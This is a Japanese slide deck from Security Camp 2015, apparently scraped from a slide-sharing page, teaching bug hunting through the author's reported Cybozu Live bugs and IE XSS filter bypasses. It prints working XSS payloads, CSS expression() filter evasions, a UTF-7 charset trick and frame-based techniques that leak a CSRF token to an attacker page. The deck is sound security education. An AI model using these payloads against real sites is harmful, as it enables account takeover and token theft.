Upload
masato-kinugawa
View
22.756
Download
0
Embed Size (px)
Citation preview
SecurityCamp2015バグハンティング入門
Masato Kinugawa
講師紹介
名前 Masato Kinugawa好きな脆弱性 XSS 職業 会社員・公務員・自営業・
学生・無職・その他
好きな休日の
過ごし方脆弱性を探すこと
話すこと
TARGET❶ サイボウズ LiveTARGET❷ XSS フィルター
脆弱性発見の発想をみていこう!
次のアプリや機能の実際のバグから
脆弱性報酬制度脆弱性の報告に賞金を支払う制度ソフトウェア製品で実施しているもの
Chrome/Firefox/IDA Pro など
Web アプリケーションで実施しているものGoogle/Facebook/Twitter/GitHub/Dropbox など
豆知識
小切手は換金手数料が高い
[ 注意 ] 一方で
善意の検査でも攻撃とみなされることもあるISP にインターネットを止められた人もいるらしい
検査するなら検査を歓迎しているところが無難残念ながら国内で表明しているところはほとんどない
検査を歓迎している企業の一覧ページhttps://hackerone.com/programshttps://bugcrowd.com/list-of-bug-bounty-programs
サイボウズ LiveTARGET
❶
ハントするならサイボウズ!
賞金あり!日本の企業で唯一報酬制度を実施 (2015 年 8 月現在 )
検証環境で安心して検査できる
日本語で報告できる
丁寧に対応してくれる
http://cybozu.co.jp/company/security/bug-bounty/
サイボウズの制度紹介ページ
LINE Bug Bounty ( 期間限定: 2015 年 8 月 24 日 ~ 9 月 23日 )http://linecorp.com/ja/security/bugbounty/
++追記++
過去に誰かにみつかった脆弱性【 CyVDB- なし】 XSS( サイボウズ Live IDEABOX)【 CyVDB-243 】 SessionFixation【 CyVDB-499 】 XSS( 添付ファイル )【 CyVDB-500 】 XSS(IE のバグ )【 CyVDB-501 】 XSS( カテゴリ編集機能 )【 CyVDB-502 】 XSS( 書式編集機能 )【 CyVDB-536 】 XSS(IE のバグ )【 CyVDB-555 】 DoS( チャット機能 )【 CyVDB-552 】 XSS( コメント欄 )【 CyVDB-553 】 CSS 記述制限のバイパス【 CyVDB-676 】 iframe 内に無関係のページを表示できる【 CyVDB-859 】 CSS 記述制限のバイパス【 CyVDB-905 】オープンリダイレクト【 CyVDB-954 】閲覧状況の漏えい
の
過去に僕がみつけた脆弱性【 CyVDB- なし】 XSS( サイボウズ Live IDEABOX)【 CyVDB-243 】 SessionFixation【 CyVDB-499 】 XSS( 添付ファイル )【 CyVDB-500 】 XSS(IE のバグ )【 CyVDB-501 】 XSS( カテゴリ編集機能 )【 CyVDB-502 】 XSS( 書式編集機能 )【 CyVDB-536 】 XSS(IE のバグ )【 CyVDB-555 】 DoS( チャット機能 )【 CyVDB-552 】 XSS( コメント欄 )【 CyVDB-553 】 CSS 記述制限のバイパス【 CyVDB-676 】 iframe 内に無関係のページを表示できる【 CyVDB-859 】 CSS 記述制限のバイパス【 CyVDB-905 】オープンリダイレクト【 CyVDB-954 】閲覧状況の漏えい
の
ド ヤ
😥
過去に僕がみつけた脆弱性【 CyVDB- なし】 XSS( サイボウズ Live IDEABOX)
【 CyVDB-499 】 XSS( 添付ファイル )【 CyVDB-500 】 XSS(IE のバグ )【 CyVDB-501 】 XSS( カテゴリ編集機能 )【 CyVDB-502 】 XSS( 書式編集機能 )【 CyVDB-536 】 XSS(IE のバグ )【 CyVDB-555 】 DoS( チャット機能 )【 CyVDB-552 】 XSS( コメント欄 )【 CyVDB-553 】 CSS 記述制限のバイパス【 CyVDB-676 】 iframe 内に無関係のページを表示できる【 CyVDB-859 】 CSS 記述制限のバイパス【 CyVDB-905 】オープンリダイレクト【 CyVDB-954 】閲覧状況の漏えい
の
発見のきっかけ
竹迫さんがサイボウズのオフィス周辺のお店をまとめた Google Maps の URL を Live で教えてくれたその下に謎の空の iframe が出現!
http://maps.google.com/maps/ms?msid=XXX
イメージ図 :
空の iframeが表示されるまでGoogle Maps の URL が張られると
自動でインライン展開する機能があった
Live は全て HTTPS 化されているが、竹迫さんの張った http: から始まる Maps の URL を http: のままiframe へ入れていた
混在コンテンツ (Mixed Content) としてブラウザがロードをブロック
空の iframe が表示!
試す
受け取る URL の判断が雑だからこんなことになっていると予想とりあえずマップっぽい URL を投稿してみよう
https://maps.google.example.com/
あれ…
これは…
「 maps.google」がホストにあればロードを開始
無関係のホストを iframe にロードできてしまう!
https://maps.google.example.com/
考えられる影響
フィッシング偽 Google Mapsを埋め込んで操作させちゃう?
top.location を書き換えることで、オープンリダイレクト (相当 ) として利用[注 ] location は例外的に異なるオリジンからも操作できる
クリックジャッキング( 試していないが )Live 内は X-Frame-Options:sameorigin が指定されているので、うまくやればできたかも?
過去に僕がみつけた脆弱性【 CyVDB- なし】 XSS( サイボウズ Live IDEABOX)
【 CyVDB-499 】 XSS( 添付ファイル )【 CyVDB-500 】 XSS(IE のバグ )【 CyVDB-501 】 XSS( カテゴリ編集機能 )【 CyVDB-502 】 XSS( 書式編集機能 )【 CyVDB-536 】 XSS(IE のバグ )【 CyVDB-555 】 DoS( チャット機能 )【 CyVDB-552 】 XSS( コメント欄 )【 CyVDB-553 】 CSS 記述制限のバイパス【 CyVDB-676 】 iframe 内に無関係のページを表示できる【 CyVDB-859 】 CSS 記述制限のバイパス【 CyVDB-905 】オープンリダイレクト【 CyVDB-954 】閲覧状況の漏えい
の
こんな URL を発見
https://cybozulive.com/ideabox/loginDirect?redirectUrl=https%3A
%2F%2Fcybozulive.com%2Fideabox%2Flist
おおまかな挙動のチェック
アクセスするとログイン画面へ
そこからログインすると、 redirectUrl に指定したURL に Location: ヘッダでリダイレクト
リダイレクト先に指定できる URL は cybozulive.com 内に制限しようとしている様子
https://cybozulive.com/ideabox/loginDirect?redirectUrl=https%3A
%2F%2Fcybozulive.com%2Fideabox%2Flist
詳しく制限をみるリダイレクトの様子をひたすらみる:
https://cybozulive.com/AAA/AAA//cybozulive.com/AAAhttps://xxxcybozulive.com/AAAhttps://example.com/cybozulive.com/AAAhttps://example.com\cybozulive.com/AAAhttps://example.com\@cybozulive.com/
https://cybozulive.com/ideabox/loginDirect?redirectUrl=[HERE]
だませたもの ( \ の扱い )
https://example.com\@cybozulive.com/
IE や Chrome では: https://example.com/@cybozulive.com/
Firefox では Basic認証情報の一部:
次の URL にアクセスするとどうなる?
外部のホストへリダイレクトしてしまう
過去に僕がみつけた脆弱性【 CyVDB- なし】 XSS( サイボウズ Live IDEABOX)
【 CyVDB-499 】 XSS( 添付ファイル )【 CyVDB-500 】 XSS(IE のバグ )【 CyVDB-501 】 XSS( カテゴリ編集機能 )【 CyVDB-502 】 XSS( コメント欄 )【 CyVDB-536 】 XSS(IE のバグ )【 CyVDB-555 】 DoS( チャット機能 )【 CyVDB-552 】 XSS( コメント欄 )【 CyVDB-553 】 CSS 記述制限のバイパス【 CyVDB-676 】 iframe 内に無関係のページを表示できる【 CyVDB-859 】 CSS 記述制限のバイパス【 CyVDB-905 】オープンリダイレクト【 CyVDB-954 】閲覧状況の漏えい
の
コメントには機能がたくさん投稿される http(s) な URL をリンク化レスをリンク ( >>1 >1 のような文字から )一部の HTML タグやスタイルの使用外部サービスの自動インライン表示
YouTubeslideshareFlickr
添付ファイルのインライン展開画像、テキストファイルの表示音声ファイルの再生
VimeoCacooGoogle Maps( 直前の問題の修正と共に廃止 )
正しく動いてる?組み合わせても正しく動く?
HTML の要素 /属性の制限
<a>a</a><abbr>abbr</abbr><acronym>acronym</acronym><address>address</address><applet>applet</applet><area>area</area><audioscope>audioscope</audioscope><b>b</b><base>base</base><basefont>basefont</basefont><bdo>bdo</bdo><bgsound>bgsound</bgsound><big>big</big>....
<a target="_blank" >a</a><abbr >abbr</abbr><acronym >acronym</acronym><address >address</address>appletareaaudioscope<strong >b</strong>basebasefont<bdo >bdo</bdo>bgsound<big >big</big>....
ひたすらタグを投稿して使えるものを観察
投稿
リンクの制限
http:https:ftp:mailto:file:
<a href="http://example.com/">Link</a>
スキームは以下にリストしたものしか使えない
telnet:gopher:news:wais:
?!
スタイル部分はブラックリスト
expressionbehavior / behaviourmoz-bindinginclude-sourceurlabsolutefixedcontent
javascript:vbscript:data:
<p style="AAA:AAA">test</p>
次の文字列を発見すると style属性ごと削除
スタイル部分、その他の処理\ を削除/* から */ までを削除& を & に置換
<p style="x:a/**\/b\c&">
<p style="x: abc&;" >
こんな風に
以下を投稿すると:
Live が守りたいライン
XSS は禁止 ( もちろん )Live 内を閲覧しただけで任意のサイトへリクエストを発生させるようなものは禁止要素 /属性は安全なものをリストして許可スタイル属性値は危険なものをリストして禁止
スクリプトの実行が可能なものUI を著しく破壊するもの任意のサイトへリクエストを発生させるもの
これを破ればOK !
CSS の expression()
CSS から JS を実行できる XSSer御用達機能このおかげで CSS 注入の危険が大きく上がる
IE の古いドキュメントモード (<=IE7) で動作IE11 からはドキュメントモードにかかわらず動かない
<p style="x:expression(alert(1))">
いろんな expression()
<p style=x:expres\sion(alert(1))><p style=x:expres/**/sion(alert(1))><p style=x:expr\0065ssion(alert(1))><p style=x:expression(alert(1))>
http://www.atmarkit.co.jp/ait/articles/0906/04/news111_2.html
教科書に載らない Web アプリケーションセキュリティ( 3):[柔軟すぎる] IE の CSS解釈で起こる XSS (2/3) - @ IT
昔は全角文字でも動いた:
<p style=x:expression (alert(1))>
【 CyVDB-553 】禁止文字列のバイパス❶
<p style="x:exp/*[0x0A]*/ression(alert(1))">
コメントの間に改行をはさむとコメントが除去されない!
【 CyVDB-859 】禁止文字列のバイパス❷
コメントの間に U+2028( または U+2029)をはさむとコメントが除去されない!
<p style="x:exp/*[U+2028]*/ression(alert(1))"
>
expression()のひどいパース
これでアラートが動く今回はコメントや \ を消すのでギリギリでセーフ
<p style="a:a/**/ression(alert(1))('\')exp\')">
IE CSS解析问题可致新的 XSS Vectors http://wooyun.org/bugs/wooyun-2014-068564
【 CyVDB-552 】禁止の考慮漏れ❶ <a title="data:text/html, <script>alert(document.domain)</script>" style="-o-link:attr(title);-o-link-source:current" href="http://example.com/">Click</a>
Opera 12.x系のみ使える -o-linkCSS からリンクを設定できる
HTML5 Security Cheatsheet
こうしたテクが一覧されている Cheatsheethttps://html5sec.org
/
【 CyVDB-954 】禁止の考慮漏れ❷ <p style="filter:progid:DXImageTransform.Microsoft. AlphaImageLoader( src='https://example.com/', sizingMethod='scale')" >ABC
IE9モードまで動く AlphaImageLoader フィルターurl() という形ではなく、 src= から外部リクエストを発生させることができる
HTTPLeaks
HTTP リクエストを発生させるような要素 /属性を一覧する @cure53berlin によるプロジェクト
https://github.com/cure53/HTTPLeaks
現在の CSS のブラックリスト
これで安心 ...?!
expressionbehavior / behaviourmoz-bindinginclude-sourceurlabsolutefixedcontent【 NEW】 -o-link【 NEW】 AlphaImageLoader
javascript:vbscript:data:
<p style="AAA:AAA">test</p>
ハントの秘訣[ 細かいことを気にしよう ]
些細なバグや特徴的な挙動いちいち悪用できないか考える
僕は小さな気付きをメモするようにしているあとで脆弱性に繋がると気付くことも
例えば、僕のメモ
ftp: の URL で、存在しないディレクトリをスクリプトなどのリソースとしてよみこもうとするとダイアログがでる。
Firefox のメモ ( browser/firefox/bug.txt ) の No41 :
例えば、僕のメモ
サイボウズ Live のメモ ( bugbounty/cybozu/live.txt ) :
https://cybozulive.com/common/transactionTokenJsonDirect {"name":"org.apache.struts.taglib.html.TOKEN","value":"[TOKEN]"}
GET で JSON形式で token が返ってくる。ただ Content-Disposition と X-Content-Type-Optionsあり。
脆弱性を引き出すコツ [ 試す ]とりあえず手を動かして試してみる
いろんな文字を思いつく限り入力するだけでも気付きは得られる読んだり考えたりするだけより身につく
脆弱性を引き出すコツ [列挙 ]同じ性質のものを列挙しておくと便利例えば HTML タグ例えば HTTPLeaks例えば様々なフォーマットのファイル
例えばブラウザで利用可能な文字コード
パーツがたくさんあればアイデアに幅が生まれる一度列挙しておけば必要なときそこをみるだけ
http://l0.cm/encodings/table/
☕ [Windows の XSS Tips]
F5 を押す
日本語入力で Unicode のコードポイントを入力
前半終了、ちょっとひといき
日本語入力で Unicode のコードポイントを入力
��ド ヤ
F5 を押す
☕ [Windows の XSS Tips]前半終了、ちょっとひといき
XSS フィルターTARGET
❷
ブラウザの XSS保護機能
XSS AuditorChrome や Safari に搭載
XSS フィルターEdge と IE(8 から ) に搭載
NoScript( ブラウザ標準ではないが )Firefox のアドオン
URL や POSTデータの攻撃と疑わしい文字列に反応し、ページを書き換えて攻撃を防止
遮断できる文脈をみる
典型的な XSS がある状況を作って遮断できるか確認
Reflected XSS( テキスト部 /属性内 /文字列リテラルの中 )DOM based XSS(document.write/innerHTML)Stored XSS
パターン 1 Reflected XSS
http://example.com/?q=<script>alert(1)</script>
<html><body>
XSS HERE: <script>alert(1)</script></body>
</html>
IE 遮断
Auditor 遮断
NoScript 遮断
http://example.com/?q="onmouseover=alert(1)//
<html><body>
<input name="q" value=""onmouseover=alert(1)//">
</body></html>
パターン 2 属性内
IE 遮断
Auditor 遮断
NoScript 遮断
http://example.com/?q=javascript:alert(1)
<html><body>
<a href="javascript:alert(1)">Click</a></body>
</html>
パターン 3 リンク部分
IE 遮断
Auditor スルー
NoScript 遮断
http://example.com/?q=";alert(1)//
<body><script>
var q="";alert(1)//";</script>
</body>
パターン 4 文字列リテラル
IE 遮断
Auditor スルー
NoScript 遮断
パターン 5 DOM based XSS - 1
http://example.com/#<img src=x onerror=alert(1)>
<body><script>
document.write(location.hash);</script>
</body>
IE スルー
Auditor 遮断
NoScript 遮断
パターン 6 DOM based XSS - 2http://example.com/#<img src=x onerror=alert(1)>
<body><script>
document.body.innerHTML=location.hash;</script>
</body>
IE スルー
Auditor スルー
NoScript 遮断
パターン 7 Stored XSS
http://sns.example.com/hasegawa/
...<div id="profile">
<script>alert(1)</script></div>
...
IE スルー
Auditor スルー
NoScript スルー
機能の限界全ての XSS を止めることはできない
止められるのは攻撃のヒントのある典型的なパターン
誤検知は無くせない意図的に起こすこともできる
XSS フィルターをもっと知る
XSS フィルターの動作の詳細は文書化されていないどんな文字列が遮断対象なのか具体的にみる
バイナリを観察URL にあれこれ入力して試す
通過できたらそれは想定外のバイパスかも?遮断方法にも注目する
ここからは IEの XSSフィルターに絞ってみていこう!
バイナリもヒントになるC:\Windows\System32\mshtml.dll をエディタで開いてみると ...
タグらしき文字列が、
{<sc{r}ipt.*?[ /+\t]*?((src)|(xlink:href)|(href))[ /+\t]*=}{<sc{r}ipt.*?>}{<AP{P}LET[ /+\t>]}{<OB{J}ECT[ /+\t].*?((type)|(codetype)|(classid)|(code)|(data))[ /+\t]*=}{<BA{S}E[ /+\t].*?href[ /+\t]*=}{[ /+\t\"\'`]data{s}rc[ +\t]*?=.}{<st{y}le.*?>.*?((@[i\\])|(([:=]|(&[#()\[\].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&[#()\[\].]x?0*((40)|(28)|(92)|(5C));?))))}{[ /+\t\"\'`]st{y}le[ /+\t]*?=.*?([:=]|(&[#()\[\].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&[#()\[\].]x?0*((40)|(28)|(92)|(5C));?))}{(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(b|(&[#()\[\].]x?0*((66)|(42)|(98)|(62));?))}([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*)?(:|(&(([#()\[\].]x?0*((58)|(3A));?)|(colon;)))).}{(j|(&[#()\[\].]x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()\[\].]x?0*((65)|(41)|(97)|(61));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))}([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&(([#()\[\].]x?0*((58)|(3A));?)|(colon;)))).}
いっぱい!
<html><body>
<input name="q" value="[XSS_HERE]"></body>
</html>
属性注入の遮断例
{[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.}
"onxxx=a "#nxxx=a
イベントハンドラっぽい文字列を書き換え
危険なリンクの遮断
{(v|(&[#()\[\].]x?0*((86)|(56)|(118)|(76));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(b|(&[#()\[\].]x?0*((66)|(42)|(98)|(62));?))}([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[#()\[\].]x?0*((83)|(53)|(115)|(73));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#()\[\].]x?0*((67)|(43)|(99)|(63));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()\[\].]x?0*((82)|(52)|(114)|(72));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()\[\].]x?0*((73)|(49)|(105)|(69));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()\[\].]x?0*((80)|(50)|(112)|(70));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()\[\].]x?0*((84)|(54)|(116)|(74));?))([\t]|(&(([#()\[\].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*)?(:|(&(([#()\[\].]x?0*((58)|(3A));?)|(colon;)))).}
javascript:avbscript:a
vbs:a
javasc#ipt:av#script:a
v#s:a
文字列リテラルの遮断
()を使った関数呼び出し等は禁止";abc()//
プロパティアクセス後の代入は禁止";a.b=//";a["b"]=//
プロパティアクセスの無い代入は許容";abc=//
ただし一部の危険な代入は禁止";location=// 変形も NG: ";loc\u0061tion=// ";name=//";onerror=//";valueOf=//
<script>var q="[XSS_HERE]"
</script>
遮断後<script>
var q="[XSS_HERE]"</script>
()を使った関数呼び出し等は禁止";abc##//
プロパティアクセス後の代入は禁止";a#b=//";a#"b"#=//
プロパティアクセスの無い代入は許容";abc=//
ただし一部の危険な代入は禁止";lo#ation=// 変形も NG: ";lo#\u0061tion=// ";na#e=//";on#rror=//";va#ueOf=//
危険な代入の攻撃例
";location='javascript:alert(1)'//
";name=document.cookie//
";onerror=eval;throw'alert(1)'//
";valueOf=alert;~window//
(多分こんなかんじ? )
追記: element.click()等が callできるようだ、検証ページ
バイパスに挑戦してみよう
状況次第ではバイパスも可能?!想定解のある簡単な (?)問題を作ってみましたIE の XSSフィルターをバイパスして alert(1) を出そ
う!
http://tinyurl.com/camp2015xsshttp://tinyurl.com/camp2015xss2
忘れ去られた機能でバイパス (2010)
IE8 xss filter bypass (xss过滤器绕过 ) http://www.wooyun.org/bugs/wooyun-2010-013883
<div id=x>a <xml:namespace prefix=t> <import namespace=t implementation=#default#time2> <t:set attributename=innerHTML targetElement=x to=<imgsrc=x:xonerror=alert(1)>>
これがいま話題の HTML Imports...(違
{<[?]?im{p}ort[ /+\t].*?implementation[ /+\t]*=}
現在はフィルタ済:
追加された機能でバイパス(2015)
Edge から追加された ES6 の文法を使ったバイパスが既に指摘されている
テンプレートリテラル
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes, and everything else / Mario Heiderichhttp://www.slideshare.net/x00mario/es6-en/34
";alert`1`//
ES6 のユニコードエスケープ
";loc\u{61}tion=//
仕様を利用した自明なバイパス
XSS フィルターは同一オリジンのリンクから開始したリクエストを遮断対象としない
これは誤検知を少しでも減らすための仕様と思われる
同一オリジンにリンクを作れるならバイパス可
つまり
例:サイボウズ Live に Reflected XSS があったなら ..
この挙動を利用したバイパス
Reflected XSS 自身で Reflected XSS 実行用リンクを作る
XSS フィルターの元担当者 David曰く「この変更やめた方が良い」https://twitter.com/randomdross/status/552949854591127552
余談:
現在は "<a href" も遮断される: {<a.*?
hr{e}f}
<a href="?q=%3Cscript%3Ealert%281%29%3C/script%3E">XSS</a>
http://example.com/xss?q=<a+href="?q=%253Cscript%253Ealert%25281%2529%253C/script%253E">XSS</a>
クリック同一オリジンのリンクなので XSS フィルターはス
ルースクリプトが実行される
XSS フィルターで XSS(2010)かつて、遮断方法が適切でなかったため、脆弱性がない部分から XSS を作れていた!
Universal XSS via IE8s XSS Filters / Eduardo Vela Nava & David Lindsayhttps://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf
<img src="http://example.com/onerror=alert(1)//">
<img src#"http: example.com onerror=alert(1)//">
遮断後
遮断を使ってバイパス (2012)
"<a href=javascript&.x3A;alert&(x28;1&)x29;//=>XSS
なにが起きる?
";abc()//区切り 関数の実行
";a.b=//区切り プロパティアクセス後の代入
遮断を使ってバイパス (2012)
"<a href=javascript&.x3A;alert&(x28;1&)x29;//=>XSS
ブラウザの XSS保護機能をバイパスする (3) http://masatokinugawa.l0.cm/2012/09/xss3.html
"<a href=javascript:alert(1)//=>XSS
遮断後
遮断によって javascript: のリンクに!
: : ( ( ) )
ドキュメントモードが高いので動かない ...
サイボウズ Live で実際にできたもの。expression() は書けたものの ...
<meta http-equiv="X-UA-Compatible" content="IE=edge" />・・・<p style="x:exp/*[0x0A]*/ression(alert(1))">
https://cybozulive.com/xss
フィルターを攻撃へ活用する
meta タグが破壊されドキュメントモードが降格
ありがとう XSS フィルター!😉
そんなときこそ XSS フィルター!
https://cybozulive.com/xss?<meta+http-equiv=><m#ta http-equiv="X-UA-Compatible" content="IE=edge" />・・・<p style="x:exp/*[0x0A]*/ression(alert(1))">
フィルターを攻撃へ活用する
フィルターを攻撃へ活用する
HTTP/1.1 200 OKServer: nginxDate: Mon, 03 Aug 2015 14:34:24 GMTContent-Type: text/html;charset=UTF-8Connection: keep-aliveVary: Accept-EncodingCache-Control: privateX-Cybozu-Status-Code: 200X-Frame-Options: SAMEORIGINStrict-Transport-Security: max-age=315360000; includeSubDomains; preload;
X-UA-Compatible: IE=EdgeX-Content-Type-Options: nosniffContent-Length: 143557
現在はヘッダでも指定している模様
文字コードを使ったバイパス
HTTP/1.1 200 OKContent-Type: text/html
<!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"></head><body>XSS HERE: <meta charset=utf-7>+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-</body></html>
http://example.com/xss?q=<meta+charset=utf-7>%2BADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-
選択される charset
文字コードを使ったバイパスhttp://example.com/xss?q=<meta+charset=utf-7>%2BADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-&<meta+http-equiv=>
HTTP/1.1 200 OKContent-Type: text/html
<!DOCTYPE html><html><head><m#ta http-equiv="Content-Type" content="text/html;charset=UTF-8"></head><body>XSS HERE: <meta charset=utf-7>+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-</body></html> 選択される charset
文字コードを使ったバイパス
+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-
<script>alert(1)</script>
UTF-7 からデコード
{<ME{T}A[ /+\t].*?((http-equiv)|(charset))[ /+\t]*=}
現在は "<meta charset=" も遮断
遮断後
<script>var
q="";if#1#{true}else{false}//"</script>
<form name=form><input type=hidden name=token
value=f9d150048b></form><script>
var q="";if(1){true}else{false}//"</script>
if文は遮断される
三項演算子 & デクリメント演算子 でバイパス (2014)
<form name=form><input type=hidden name=token
value=f9d150048b></form><script>
var q="";1?true:false//"</script>
if(1){true}else{false}
同じ意味
1?true:false
三項演算子は遮断されない
三項演算子 & デクリメント演算子 でバイパス (2014)
遮断後
<script>var
q="";lo#ation=location-1//"</script>
<form name=form><input type=hidden name=token
value=f9d150048b></form><script>
var q="";location=location-1//"</script>
location への代入は遮断される
三項演算子 & デクリメント演算子 でバイパス (2014)
<form name=form><input type=hidden name=token
value=f9d150048b></form><script>
var q="";location--//"</script>デクリメント演算子なら遮断されない
location=location-1
location--
同じ意味
三項演算子 & デクリメント演算子 でバイパス (2014)
<form name=form><input type=hidden name=token
value=f9d150048b></form><script>
var q="";"a"==form.token.value[0]?top.TRUE.location.
search--:top.FALSE.location.search--//"
</script>
こんなふうにもかいても遮断されない
if("a"==form.token.value[0]){top.TRUE.location.search--;
}else{top.FALSE.location.search--;
}
以下と同じ意味
三項演算子 & デクリメント演算子 でバイパス (2014)
if("a"==form.token.value[0]){top.TRUE.location.search--;
}else{top.FALSE.location.search--;
}
<iframe src=http://victim/ id=TRUE></iframe><iframe src=http://victim/ id=FALSE></iframe><iframe src=http://victim/xss?q=";[code]//></iframe>
http://attacker/exploit.html
top.* はそれぞれ、親の持つ別のフレームを参照させている
三項演算子 & デクリメント演算子 でバイパス (2014)
if("a"==form.token.value[0]){top.TRUE.location.search--;
}else{top.FALSE.location.search--; // こっちへ
}
token の 1文字目は「 a」ではないので偽の分岐へ
top.FALSE.location.search = top.FALSE.location.search - 1
以下が実行されることにより、FALSE のフレーム内でナビゲーションが発生
http://victim/
http://victim/?-1navi
三項演算子 & デクリメント演算子 でバイパス (2014)
攻撃者は TRUE ・ FALSE 、それぞれのフレームに load のイベントリスナを設定しておく
この時点で攻撃者は「 token の 1文字目は a でない」と知れる
今回であればまず FALSE のフレームの遷移で load が発生する
token 取得のデモ:http://l0.cm/xssfilter_bypass/
条件部を "b"==form.token.value[0] のように変えて試行を繰り返していけば、 tokenの取得も可能
三項演算子 & デクリメント演算子 でバイパス (2014)
showModalDialog() をつかったバイパス (2015)http://attacker/opener.html<script>
ret=showModalDialog("redirector");alert(ret);
</script>
http://attacker/redirectorLocation: ヘッダでリダイレクトhttp://victim/xss?q=";[code]//
<form name=form><input type=hidden name=token
value=f9d150048b></form><script>
var q="";returnValue=form.token.value//"</script>http://masatokinugawa.l0.cm/2015/06/xss6.html
詳細は:
ハントの秘訣[ 過去の失敗を知ろう ] 過去の修正済みの脆弱性をじっくりみてみよう修正後に詳細情報が公開されているものはたくさんある
大抵の脆弱性は形を変えたよく似た失敗探すべきポイントがみえてくる
僕が心がけていること
「知らなきゃ」より「知りたい」でうごく流行だけを気にしない古くて誰も使っていないような技術でも調べてみる
最後に
バグハントに一番必要なもの
根気
さあ、バグハントに出掛けよ
う!